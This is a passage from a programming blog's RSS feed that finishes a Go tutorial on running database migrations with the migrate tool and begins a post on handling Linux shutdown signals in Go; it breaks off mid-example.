style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;PRIMARY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;KEY&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;varchar&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;50&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And, to reverse the above, there is the down file:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;users&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Again, notice how both SQL statements are complementary; one creates a table and the other deletes it. But you can put more than one statement and they can be anything you want, an index, a constraint, a routine, etc.&lt;/p&gt;&#xA;&lt;h2 id=&#34;execute-migrations-with-migrate-in-go&#34;&gt;Execute migrations with migrate in Go&lt;/h2&gt;&#xA;&lt;p&gt;So far we have only created the migration files, but we have not let the program know where the database is.&lt;/p&gt;&#xA;&lt;p&gt;Before making any changes to the database, we will need to indicate the access address to the database in the following format [engine]://[user]:[password]@[domain]/[database].&lt;/p&gt;&#xA;&lt;p&gt;And, obviously, the most convenient and safest thing to do is to save this address in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;an environment variable&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DATABASE&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=[&lt;/span&gt;engine&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;://&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;password&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;@&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;domain&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;database&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we have a database to connect to.&lt;/p&gt;&#xA;&lt;h3 id=&#34;apply-migrations&#34;&gt;Apply migrations&lt;/h3&gt;&#xA;&lt;p&gt;To apply all migrations we will use the up command. Migrate will automatically detect the numbering and run &lt;em&gt;all migrations up&lt;/em&gt; in ascending order.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$DATABASE&lt;/span&gt; up&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;remove-migrations&#34;&gt;Remove migrations&lt;/h3&gt;&#xA;&lt;p&gt;On the other hand, to revert all migrations we will use the down command. Migrate will automatically detect the numbering and run &lt;em&gt;all migrations down&lt;/em&gt; in descending order.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$DATABASE&lt;/span&gt; down&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;go-to-a-specific-migration&#34;&gt;Go to a specific migration&lt;/h3&gt;&#xA;&lt;p&gt;Whereas, if we want to go to a specific migration, we will use the goto command followed by the migration number to which we want to take the database.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$DATABASE&lt;/span&gt; goto &amp;lt;migration number&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Migrate will detect the active migration and run &lt;em&gt;the corresponding up or down migrations&lt;/em&gt; to bring the database to that state.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-migration-table&#34;&gt;The migration table&lt;/h2&gt;&#xA;&lt;p&gt;And how does the tool know which migration it is in? After each change we make to the database, the migrate tool will store the state of our database in a table called &lt;em&gt;schema_migrations&lt;/em&gt; that looks like this:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/images/schema_migrations.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/images/schema_migrations.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;schema_migrations table in postgres&amp;#34;&#34; width=&#34;219&#34; height=&#34;71&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Migrations table where the current state is 1, selected in blue&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;column-version&#34;&gt;Column version&lt;/h3&gt;&#xA;&lt;p&gt;Notice how the version column stores the status of the current migration. This way migrate records which version of the migrations it is in.&lt;/p&gt;&#xA;&lt;h3 id=&#34;dirty-column&#34;&gt;Dirty column&lt;/h3&gt;&#xA;&lt;p&gt;In addition, this table also contains a column called &lt;em&gt;dirty&lt;/em&gt; that indicates if there was any conflict in the migration. In the latter case it will be necessary to repair it manually and force a new state in the table.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$DATABASE&lt;/span&gt; force &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;migrations-to-remote-databases&#34;&gt;Migrations to remote databases&lt;/h2&gt;&#xA;&lt;p&gt;The Migrate tool also supports remote migrations such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Filesystem&lt;/li&gt;&#xA;&lt;li&gt;io/fs&lt;/li&gt;&#xA;&lt;li&gt;Go-Bindata&lt;/li&gt;&#xA;&lt;li&gt;pkger&lt;/li&gt;&#xA;&lt;li&gt;GitHub&lt;/li&gt;&#xA;&lt;li&gt;GitHub Enterprise&lt;/li&gt;&#xA;&lt;li&gt;Bitbucket&lt;/li&gt;&#xA;&lt;li&gt;Gitlab&lt;/li&gt;&#xA;&lt;li&gt;AWS S3&lt;/li&gt;&#xA;&lt;li&gt;Google Cloud Storage&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Each of these endpoints requires a specific syntax. For example, the Amazon S3 endpoint looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -source&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;s3://&amp;lt;bucket&amp;gt;/&amp;lt;path&amp;gt;&amp;#34;&lt;/span&gt; -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$DATABASE&lt;/span&gt; up&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With this you already know the basics about migrations and you probably also value a lot more tools and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;ORMs that take care of this automatically, such as Django&lt;/a&gt;&#xA;, Ruby on Rails, South, etc.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In frameworks like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django, migrations are created automatically&lt;/a&gt;&#xA;, from the models. However, in languages like go, as long as we are not using an ORM, migrations will be done manually.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;what-is-a-database-migration&#34;&gt;What is a database migration?&lt;/h2&gt;&#xA;&lt;p&gt;A migration is an abstraction to manage the state and changes that occur in a database. Instead of executing SQL statements one by one manually, we automate the process by writing all the necessary SQL and running it automatically.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: Handling Signals for Closing Applications</title>
      <link>https://coffeebytes.dev/en/go/go-handling-signals-for-closing-applications/</link>
      <pubDate>Thu, 06 Oct 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-handling-signals-for-closing-applications/</guid>
      
      <category>go</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Today I&amp;rsquo;m going to talk about a topic that is often overlooked in most tutorials: handling application closing. What do I mean? To those times when you have to close an application, but there may be pending tasks running, open connections or you simply want to leave a record, in the form of a log, that the application was closed.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;signals-in-linux&#34;&gt;Signals in Linux&lt;/h2&gt;&#xA;&lt;p&gt;As you probably already know, the Linux kernel is in charge of &amp;ldquo;lending&amp;rdquo; resources to go applications (or any other application) to run.&lt;/p&gt;&#xA;&lt;p&gt;Because linux is the kernel of the system, it is able to call back those resources at any time and close the application.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Linux can &amp;ldquo;nicely&amp;rdquo; ask applications for the resources it lent them or &amp;ldquo;take them away&amp;rdquo; by force. To do this, Linux sends a series of signals to the application, some of which can be captured and handled by the application itself, with code in Go.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743294302/coffee-bytes/linux-kill-9-shutdown-meme_rb0mqw.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743294302/coffee-bytes/linux-kill-9-shutdown-meme_rb0mqw.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;&amp;#34;Linux will kindly shutdown an app via SIGKILL signal&amp;#34;&#34; width=&#34;619&#34; height=&#34;551&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Linux will kindly shutdown an app via SIGKILL signal&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;main-linux-signals&#34;&gt;Main Linux signals&lt;/h3&gt;&#xA;&lt;p&gt;There are quite a few Linux signals, but here are the most important ones for this example:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Signal&lt;/th&gt;&#xA;          &lt;th&gt;Value&lt;/th&gt;&#xA;          &lt;th&gt;Action&lt;/th&gt;&#xA;          &lt;th&gt;Comment&lt;/th&gt;&#xA;          &lt;th&gt;Command&lt;/th&gt;&#xA;          &lt;th&gt;Keyboard Shortcut&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGINT&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;          &lt;td&gt;Term&lt;/td&gt;&#xA;          &lt;td&gt;Interrupt from keyboard&lt;/td&gt;&#xA;          &lt;td&gt;kill -2 pid&lt;/td&gt;&#xA;          &lt;td&gt;CTRL+C&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGTERM&lt;/td&gt;&#xA;          &lt;td&gt;15&lt;/td&gt;&#xA;          &lt;td&gt;Term&lt;/td&gt;&#xA;          &lt;td&gt;Terminate a process in a controlled manner&lt;/td&gt;&#xA;          &lt;td&gt;kill -15 pid&lt;/td&gt;&#xA;          &lt;td&gt;CTRL+C&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGKILL&lt;/td&gt;&#xA;          &lt;td&gt;9&lt;/td&gt;&#xA;          &lt;td&gt;Term&lt;/td&gt;&#xA;          &lt;td&gt;Terminate a process in a forced manner, cannot be handled by&lt;/td&gt;&#xA;          &lt;td&gt;kill -9 pid&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;In Linux, these signals can be sent to an application via the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;kill command&lt;/a&gt;&#xA;, specifying the value of the signal and the pid of the application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kill &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&amp;lt;value&amp;gt; &amp;lt;pid&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// kill -2 1234&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;signal-handling-in-go&#34;&gt;Signal handling in Go&lt;/h2&gt;&#xA;&lt;p&gt;In go, when we want to listen to the signals sent by the Linux kernel, we use the Notify method of the signal package. The Notify method will send our signal on a channel, which it will receive as the first argument. The second and third arguments are the signals that our method will listen for.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quit &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; os.Signal, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    signal.&lt;span style=&#34;color:#57c7ff&#34;&gt;Notify&lt;/span&gt;(quit, syscall.SIGINT, syscall.SIGTERM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;managing-signals-with-channels&#34;&gt;Managing signals with channels&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Now we have a channel that receives our signal, but&amp;hellip; what do we do with it?&lt;/p&gt;&#xA;&lt;p&gt;Remember that, in go, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/&#34;&gt;operations that send or receive channel values are blocking inside their own goroutine&lt;/a&gt;&#xA;, i.e., they keep code execution on hold?&lt;/p&gt;&#xA;&lt;p&gt;In this case we are going to leave a variable expected by the value of the channel that we have just created, blocking the code at that point.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quit &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; os.Signal, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    signal.&lt;span style=&#34;color:#57c7ff&#34;&gt;Notify&lt;/span&gt;(quit, syscall.SIGINT, syscall.SIGTERM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;quit&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Closing server&amp;#34;&lt;/span&gt;, s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This way the application will wait until it receives any signal (SIGINT or SIGTERM) from Linux and, once it receives it, it will execute the rest of the function code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quit &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; os.Signal, &lt;span 